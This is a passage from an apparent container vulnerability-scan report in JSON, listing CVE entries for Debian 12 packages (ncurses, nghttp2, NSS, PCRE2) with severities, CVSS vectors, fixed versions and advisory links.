"https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "libncursesw6@6.4-4", "PkgName": "libncursesw6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libncursesw6@6.4-4?arch=amd64\u0026distro=debian-12.13", "UID": "64a48e73899d1efa" }, "InstalledVersion": "6.4-4", "Status": "affected", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb527cfd9e84668d2a853fffc35185362f426527a1fe228919948c84a8de9a8c", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-27135", "VendorIDs": [ "DSA-6266-1" ], "PkgID": "libnghttp2-14@1.52.0-1+deb12u2", "PkgName": "libnghttp2-14", "PkgIdentifier": { "PURL": "pkg:deb/debian/libnghttp2-14@1.52.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "f550c77239f60f59" }, "InstalledVersion": "1.52.0-1+deb12u2", "FixedVersion": "1.52.0-1+deb12u3", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27135", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a60cda095d491118907b1d21cf2b8fa340f74f01d7c482fc987ba46a09729d36", "Title": "nghttp2: nghttp2: Denial of Service via malformed HTTP/2 frames after session termination", "Description": "nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API `nghttp2_session_terminate_session` or `nghttp2_session_terminate_session2` is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "cbl-mariner": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/03/20/3", "https://access.redhat.com/errata/RHSA-2026:10065", "https://access.redhat.com/errata/RHSA-2026:11768", "https://access.redhat.com/errata/RHSA-2026:13812", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:14937", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:16008", "https://access.redhat.com/errata/RHSA-2026:16009", "https://access.redhat.com/errata/RHSA-2026:16030", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17596", "https://access.redhat.com/errata/RHSA-2026:19724", "https://access.redhat.com/errata/RHSA-2026:19725", "https://access.redhat.com/errata/RHSA-2026:20040", "https://access.redhat.com/errata/RHSA-2026:20087", "https://access.redhat.com/errata/RHSA-2026:21656", "https://access.redhat.com/errata/RHSA-2026:21690", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:25096", "https://access.redhat.com/errata/RHSA-2026:27200", "https://access.redhat.com/errata/RHSA-2026:27201", "https://access.redhat.com/errata/RHSA-2026:6190", "https://access.redhat.com/errata/RHSA-2026:7080", "https://access.redhat.com/errata/RHSA-2026:7123", "https://access.redhat.com/errata/RHSA-2026:7302", "https://access.redhat.com/errata/RHSA-2026:7310", "https://access.redhat.com/errata/RHSA-2026:7350", "https://access.redhat.com/errata/RHSA-2026:7666", "https://access.redhat.com/errata/RHSA-2026:7667", "https://access.redhat.com/errata/RHSA-2026:7668", "https://access.redhat.com/errata/RHSA-2026:7670", "https://access.redhat.com/errata/RHSA-2026:7675", "https://access.redhat.com/errata/RHSA-2026:7896", "https://access.redhat.com/errata/RHSA-2026:7983", "https://access.redhat.com/errata/RHSA-2026:8339", "https://access.redhat.com/errata/RHSA-2026:8538", "https://access.redhat.com/errata/RHSA-2026:8539", "https://access.redhat.com/errata/RHSA-2026:8540", "https://access.redhat.com/errata/RHSA-2026:8541", "https://access.redhat.com/errata/RHSA-2026:8545", "https://access.redhat.com/errata/RHSA-2026:8546", "https://access.redhat.com/errata/RHSA-2026:8547", "https://access.redhat.com/errata/RHSA-2026:8548", "https://access.redhat.com/errata/RHSA-2026:8868", "https://access.redhat.com/errata/RHSA-2026:9711", "https://access.redhat.com/errata/RHSA-2026:9832", "https://access.redhat.com/errata/RHSA-2026:9874", "https://access.redhat.com/security/cve/CVE-2026-27135", "https://bugzilla.redhat.com/2441268", "https://bugzilla.redhat.com/2442922", "https://bugzilla.redhat.com/2448754", "https://bugzilla.redhat.com/2453151", "https://bugzilla.redhat.com/show_bug.cgi?id=2448754", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27135", "https://errata.almalinux.org/9/ALSA-2026-7896.html", "https://errata.rockylinux.org/RLSA-2026:7668", "https://github.com/nghttp2/nghttp2/commit/5c7df8fa815ac1004d9ecb9d1f7595c4d37f46e1", "https://github.com/nghttp2/nghttp2/security/advisories/GHSA-6933-cjhr-5qg6", "https://linux.oracle.com/cve/CVE-2026-27135.html", "https://linux.oracle.com/errata/ELSA-2026-8339.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00025.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27135", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27135.json", "https://ubuntu.com/security/notices/USN-8233-1", "https://ubuntu.com/security/notices/USN-8233-2", "https://www.cve.org/CVERecord?id=CVE-2026-27135" ], "PublishedDate": "2026-03-18T18:16:26.723Z", "LastModifiedDate": "2026-10-15T02:18:59.883Z" }, { "VulnerabilityID": "CVE-2026-2781", "VendorIDs": [ "DSA-6149-1" ], "PkgID": "libnss3@2:3.87.1-1+deb12u1", "PkgName": "libnss3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libnss3@3.87.1-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "aea7fcbe660b1006" }, "InstalledVersion": "2:3.87.1-1+deb12u1", "FixedVersion": "2:3.87.1-1+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-2781", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8350b6806e947bd0665a2c4c9b2a56fa19e6c7adf9f0d5354dbd176948a93d2e", "Title": "firefox: thunderbird: Integer overflow in the Libraries component in NSS", "Description": "Integer overflow in the Libraries component in NSS. This vulnerability was fixed in Firefox 148, Firefox ESR 140.8, Thunderbird 148, Thunderbird 140.8, and Firefox ESR 115.35.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3516", "https://access.redhat.com/security/cve/CVE-2026-2781", "https://bugzilla.mozilla.org/show_bug.cgi?id=2009552", "https://bugzilla.redhat.com/2440219", "https://bugzilla.redhat.com/2442284", "https://bugzilla.redhat.com/2442287", "https://bugzilla.redhat.com/2442288", "https://bugzilla.redhat.com/2442290", "https://bugzilla.redhat.com/2442291", "https://bugzilla.redhat.com/2442292", "https://bugzilla.redhat.com/2442294", "https://bugzilla.redhat.com/2442295", "https://bugzilla.redhat.com/2442297", "https://bugzilla.redhat.com/2442298", "https://bugzilla.redhat.com/2442300", "https://bugzilla.redhat.com/2442302", "https://bugzilla.redhat.com/2442304", "https://bugzilla.redhat.com/2442307", "https://bugzilla.redhat.com/2442308", "https://bugzilla.redhat.com/2442309", "https://bugzilla.redhat.com/2442312", "https://bugzilla.redhat.com/2442313", "https://bugzilla.redhat.com/2442314", "https://bugzilla.redhat.com/2442316", "https://bugzilla.redhat.com/2442318", "https://bugzilla.redhat.com/2442319", "https://bugzilla.redhat.com/2442320", "https://bugzilla.redhat.com/2442322", "https://bugzilla.redhat.com/2442324", "https://bugzilla.redhat.com/2442325", "https://bugzilla.redhat.com/2442326", "https://bugzilla.redhat.com/2442327", "https://bugzilla.redhat.com/2442328", "https://bugzilla.redhat.com/2442329", "https://bugzilla.redhat.com/2442331", "https://bugzilla.redhat.com/2442333", "https://bugzilla.redhat.com/2442334", "https://bugzilla.redhat.com/2442335", "https://bugzilla.redhat.com/2442337", "https://bugzilla.redhat.com/2442342", "https://bugzilla.redhat.com/2442343", "https://bugzilla.redhat.com/show_bug.cgi?id=2440219", "https://bugzilla.redhat.com/show_bug.cgi?id=2442284", "https://bugzilla.redhat.com/show_bug.cgi?id=2442287", "https://bugzilla.redhat.com/show_bug.cgi?id=2442288", "https://bugzilla.redhat.com/show_bug.cgi?id=2442290", "https://bugzilla.redhat.com/show_bug.cgi?id=2442291", "https://bugzilla.redhat.com/show_bug.cgi?id=2442292", "https://bugzilla.redhat.com/show_bug.cgi?id=2442294", "https://bugzilla.redhat.com/show_bug.cgi?id=2442295", "https://bugzilla.redhat.com/show_bug.cgi?id=2442297", "https://bugzilla.redhat.com/show_bug.cgi?id=2442298", "https://bugzilla.redhat.com/show_bug.cgi?id=2442300", "https://bugzilla.redhat.com/show_bug.cgi?id=2442302", "https://bugzilla.redhat.com/show_bug.cgi?id=2442304", "https://bugzilla.redhat.com/show_bug.cgi?id=2442307", "https://bugzilla.redhat.com/show_bug.cgi?id=2442308", "https://bugzilla.redhat.com/show_bug.cgi?id=2442309", "https://bugzilla.redhat.com/show_bug.cgi?id=2442312", "https://bugzilla.redhat.com/show_bug.cgi?id=2442313", "https://bugzilla.redhat.com/show_bug.cgi?id=2442314", "https://bugzilla.redhat.com/show_bug.cgi?id=2442316", "https://bugzilla.redhat.com/show_bug.cgi?id=2442318", "https://bugzilla.redhat.com/show_bug.cgi?id=2442319", "https://bugzilla.redhat.com/show_bug.cgi?id=2442320", "https://bugzilla.redhat.com/show_bug.cgi?id=2442322", "https://bugzilla.redhat.com/show_bug.cgi?id=2442324", "https://bugzilla.redhat.com/show_bug.cgi?id=2442325", "https://bugzilla.redhat.com/show_bug.cgi?id=2442326", "https://bugzilla.redhat.com/show_bug.cgi?id=2442327", "https://bugzilla.redhat.com/show_bug.cgi?id=2442328", "https://bugzilla.redhat.com/show_bug.cgi?id=2442329", "https://bugzilla.redhat.com/show_bug.cgi?id=2442331", "https://bugzilla.redhat.com/show_bug.cgi?id=2442333", "https://bugzilla.redhat.com/show_bug.cgi?id=2442334", "https://bugzilla.redhat.com/show_bug.cgi?id=2442335", "https://bugzilla.redhat.com/show_bug.cgi?id=2442337", "https://bugzilla.redhat.com/show_bug.cgi?id=2442342", "https://bugzilla.redhat.com/show_bug.cgi?id=2442343", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2757", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2758", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2759", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2760", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2761", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2762", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2763", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2765", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2771", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2773", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2774", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2775", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2776", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2778", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2779", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2780", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2781", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2782", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2784", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2785", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2788", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2789", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2792", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2793", "https://errata.almalinux.org/9/ALSA-2026-3516.html", "https://errata.rockylinux.org/RLSA-2026:3516", "https://linux.oracle.com/cve/CVE-2026-2781.html", "https://linux.oracle.com/errata/ELSA-2026-3984.html", "https://lists.debian.org/debian-lts-announce/2026/03/msg00012.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-2781", "https://ubuntu.com/security/notices/USN-8071-1", "https://ubuntu.com/security/notices/USN-8071-2", "https://www.cve.org/CVERecord?id=CVE-2026-2781", "https://www.mozilla.org/security/advisories/mfsa2026-13/", "https://www.mozilla.org/security/advisories/mfsa2026-15/", "https://www.mozilla.org/security/advisories/mfsa2026-15/#CVE-2026-2781", "https://www.mozilla.org/security/advisories/mfsa2026-16/", "https://www.mozilla.org/security/advisories/mfsa2026-17/", "https://www.mozilla.org/security/advisories/mfsa2026-17/#CVE-2026-2781", "https://www.mozilla.org/security/advisories/mfsa2026-31/", "https://www.mozilla.org/security/advisories/mfsa2026-31/#CVE-2026-2781" ], "PublishedDate": "2026-02-24T14:16:26.533Z", "LastModifiedDate": "2026-06-17T10:31:44.963Z" }, { "VulnerabilityID": "CVE-2026-103111", "VendorIDs": [ "DLA-4816-1" ], "PkgID": "libpcre2-8-0@10.42-1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.42-1?arch=amd64\u0026distro=debian-12.13", "UID": "e1e889519893a026" }, "InstalledVersion": "10.42-1", "FixedVersion": "10.42-1+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-103111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa0596cee3813b8ef60496aaf99e84be9f13f59a677a4d98825935e49f855ca6", "Title": "pcre2: pcre2: Out-of-bounds write via crafted regular expression", "Description": "PCRE2 before 10.49, when there is an attacker-controlled regular expression and certain JIT API usage, allows an out-of-bounds write with arbitrary data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-103111", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3m", "https://linux.oracle.com/cve/CVE-2026-103111.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00008.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-103111", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-103111" ], "PublishedDate": "2026-09-30T05:16:45.863Z", "LastModifiedDate": "2026-10-04T00:16:35.563Z" }, { "VulnerabilityID": "CVE-2026-86145", "VendorIDs": [ "DLA-4772-1" ], "PkgID": "libpcre2-8-0@10.42-1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.42-1?arch=amd64\u0026distro=debian-12.13", "UID": "e1e889519893a026" }, "InstalledVersion": "10.42-1", "FixedVersion": "10.42-1+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86145", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:82f2bc479e2e44b8ec30196b6daba304c9ce01100d8720c631ff6843ebcd0959", "Title": "pcre2: PCRE2: Out-of-bounds write allows arbitrary code execution via crafted regular expressions", "Description": "PCRE2 before 10.48 allows a pcre2_dfa_match out-of-bounds write because reuse of a cached workspace block, in a recursive DFA matching workspace, lacks a size check (even though a newly allocated block, for the same purpose, does have a size check). This outcome requires an attacker-controlled regular expression, or a recursive pattern in conjunction with a small heap limit (this can be set through the API).", "Severity": "HIGH", "CweIDs": [ "CWE-424" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "http://www.openwall.com/lists/oss-security/2026/09/05/3", "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-86145", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/17.1.0/BRSA-xqvt0yt0g9rb.toml", "https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://linux.oracle.com/cve/CVE-2026-86145.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86145", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-86145" ], "PublishedDate": "2026-09-05T06:17:10.37Z", "LastModifiedDate": "2026-09-09T16:04:24.933Z" }, { "VulnerabilityID": "CVE-2026-89157", "VendorIDs": [ "DLA-4772-1" ], "PkgID": "libpcre2-8-0@10.42-1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.42-1?arch=amd64\u0026distro=debian-12.13", "UID": "e1e889519893a026" }, "InstalledVersion": "10.42-1", "FixedVersion": "10.42-1+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89157", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:244d26a8aa79a174940611de12c34f4526e6cf3c079edf3bb5ae0994cb2859a0", "Title": "pcre2: PCRE2: Out-of-bounds write via large pattern input", "Description": "PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89157", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", 